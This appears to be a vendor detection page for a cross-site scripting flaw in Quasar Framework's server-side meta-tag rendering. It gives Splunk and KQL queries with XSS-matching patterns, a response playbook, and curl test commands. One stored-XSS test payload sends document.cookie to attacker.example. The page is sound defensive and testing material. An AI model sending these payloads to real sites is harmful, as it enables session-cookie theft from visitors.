Detect Quasar Framework SSR Meta Tag XSS via getHead() (CVE-2026-106102) in Splunk
Detects exploitation and presence of CVE-2026-106102, a critical (CVSS 10.0) stored/reflected cross-site scripting vulnerability in the Quasar Framework (npm package 'quasar' < 2.22.0). The flaw lives in the server-side rendering (SSR) meta-tag handling of getHead(), where meta tag content is interpolated into the HTML <head> without HTML entity escaping (CWE-79 / CWE-116). An attacker who can influence meta values (page title, description, og: tags, canonical URLs, etc.) sourced from user-controllable input can inject arbitrary markup — e.g. </title><script>...</script> or event-handler attributes — that executes in every visitor's browser during SSR hydration. A public PoC exists (GHSA-pq96-jpmf-w254). This detection surfaces injection attempts against SSR routes, anomalous script/event-handler markup reflected in rendered <head> content, and the presence of vulnerable quasar versions on hosts.
MITRE ATT&CK
- Tactic
- Initial Access Execution
SPL Detection Query
index=web (sourcetype="iis" OR sourcetype="nginx:plus:access" OR sourcetype="access_combined")
| eval decoded=urldecode(uri_query)
| where match(decoded, "(?i)(</?title>|<script|on(error|load|mouseover)\s*=|javascript:|<script)")
| regex uri_path="(?i)(title|description|og_|canonical|keywords|/)"
| stats count min(_time) as first_seen max(_time) as last_seen values(decoded) as payloads by src_ip uri_path status http_user_agent
| where count > 0
| sort - last_seen Identifies SSR requests whose decoded query string contains XSS markup aimed at meta-tag parameters rendered by Quasar getHead().
Data Sources
Required Sourcetypes
False Positives & Tuning
- Automated DAST/vulnerability scanners injecting benign XSS probes
- Marketing or CMS content legitimately containing bracketed text in meta fields
- Authorized red-team exercises exercising the advisory PoC
Other platforms for CVE-2026-106102
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1Reflected XSS via SSR title meta parameter
Expected signal: Web/proxy access log entry with the URL-encoded script payload in the query string targeting the title parameter.
- Test 2Stored XSS via meta description submission
Expected signal: POST request log containing the script payload followed by a GET whose response <head> includes the unescaped script.
- Test 3Event-handler attribute injection via og:image meta
Expected signal: Access log entry with an onerror= payload in the og_image meta parameter.
References (5)
- https://github.com/quasarframework/quasar/security/advisories/GHSA-pq96-jpmf-w254
- https://nvd.nist.gov/vuln/detail/CVE-2026-106102
- https://github.com/quasarframework/quasar/commit/11505afe5b5218f2c468f130181815b898fd1e40
- https://github.com/quasarframework/quasar/releases/tag/quasar-v2.22.0
- https://github.com/advisories/GHSA-pq96-jpmf-w254
Response Playbook
Triage
- Confirm whether the target host runs Quasar SSR (@quasar/app-webpack or @quasar/app-vite with ssr mode) and determine the installed 'quasar' version — anything < 2.22.0 is vulnerable.
- URL-decode the flagged request and isolate the injected payload; determine which meta field (title, description, og:*, canonical) was targeted and whether the value is reflected (reflected XSS) or persisted to a datastore (stored XSS).
- Retrieve the SSR-rendered HTML for the affected route and inspect the <head> block for unescaped <script>, event-handler attributes, or broken-out </title> tags confirming injection reached getHead() output.
- Identify the source IP's full request history and user-agent to distinguish a scanner sweep from a targeted, hand-crafted exploitation attempt.
Containment
- Upgrade the 'quasar' package to >= 2.22.0 (which ships commit 11505afe escaping getHead() meta output) and redeploy the SSR build.
- As an interim mitigation, deploy a WAF rule or reverse-proxy filter that rejects requests containing HTML/script markup in meta-controllable query parameters, and add a strict Content-Security-Policy (script-src 'self') to limit injected script execution.
Evidence Collection
- Preserve raw web/proxy access logs, the SSR-rendered HTML response, and any persisted meta records (DB rows, CMS entries) containing the payload with timestamps and source IPs.
- Capture the deployed node_modules/quasar/package.json version and the SSR server bundle to document the vulnerable build at time of exploitation.
Escalation Criteria
- !Escalate to incident response if the SSR-rendered <head> is confirmed to execute attacker-controlled script for end users, indicating active client-side compromise (session/token theft).
- !Escalate if the injected payload is persisted (stored XSS) and served to multiple visitors, or if evidence of credential/session exfiltration (anomalous outbound beacons from client sessions) is observed.
Investigation Guide
Related Techniques
Forensic Artifacts
- >
Web/proxy access logs containing the XSS payload in request URIs or bodies - >
SSR-rendered HTML responses with unescaped markup in the <head> section - >
Persisted meta records in application datastores (stored-XSS vector) - >
node_modules/quasar/package.json showing a version < 2.22.0
Tuning Guidance
Baseline legitimate meta content that may contain angle brackets or the word 'script' and allowlist those encoded values. Exclude known DAST scanner source IPs and authorized pentest ranges. Tighten the regex to require both a meta parameter name and script/event-handler markup to reduce noise; correlate with confirmation that the response <head> actually reflects the payload before alerting at high severity.
Hunting Queries
Hunt for repeated XSS injection attempts against SSR meta parameters, grouped by source IP and route to reveal scanning versus targeted exploitation.
W3CIISLog | extend d = url_decode(csUriQuery) | where d matches regex @"(?i)(<script|</title>|on(error|load)=)" | summarize count(), makeset(d) by cIP, csUriStem | sort by count_ desc index=web | eval d=urldecode(uri_query) | where match(d,"(?i)(<script|</title>|on(error|load)=)") | stats count values(d) as payloads by src_ip uri_path | sort - count Atomic Red Team Tests
Sends a crafted request to a Quasar SSR route with a </title><script> payload in a meta-controllable query parameter to test whether getHead() escapes the value.
Command
curl -s 'http://localhost:3000/?title=%3C%2Ftitle%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E' | grep -i '<script>alert' Cleanup
echo 'No cleanup required — read-only request' Expected Telemetry
Web/proxy access log entry with the URL-encoded script payload in the query string targeting the title parameter.
Expected Detection
KQL/SPL rules match the decoded <script> markup against a meta parameter; grep returns the unescaped script tag if vulnerable.
Submits a payload into a persisted meta description field, then re-fetches the SSR page to confirm the payload is rendered unescaped into the <head>.
Command
curl -s -X POST http://localhost:3000/api/page -H 'Content-Type: application/json' -d '{"description":"<script>fetch(\"//attacker.example/c?\"+document.cookie)</script>"}'; curl -s http://localhost:3000/page | grep -i '<script>fetch' Cleanup
curl -s -X POST http://localhost:3000/api/page -H 'Content-Type: application/json' -d '{"description":"safe"}' Expected Telemetry
POST request log containing the script payload followed by a GET whose response <head> includes the unescaped script.
Expected Detection
Detection flags the POST body / subsequent GET reflecting script markup; vulnerable build renders the executable tag in <head>.
Injects an event-handler attribute through an og:image meta parameter to test attribute-context escaping in getHead().
Command
curl -s 'http://localhost:3000/?og_image=x%22%20onerror%3D%22alert(1)' | grep -i 'onerror=' Cleanup
echo 'No cleanup required — read-only request' Expected Telemetry
Access log entry with an onerror= payload in the og_image meta parameter.
Expected Detection
Detections match the onerror= event-handler marker against a meta parameter; grep returns the attribute if the build is vulnerable.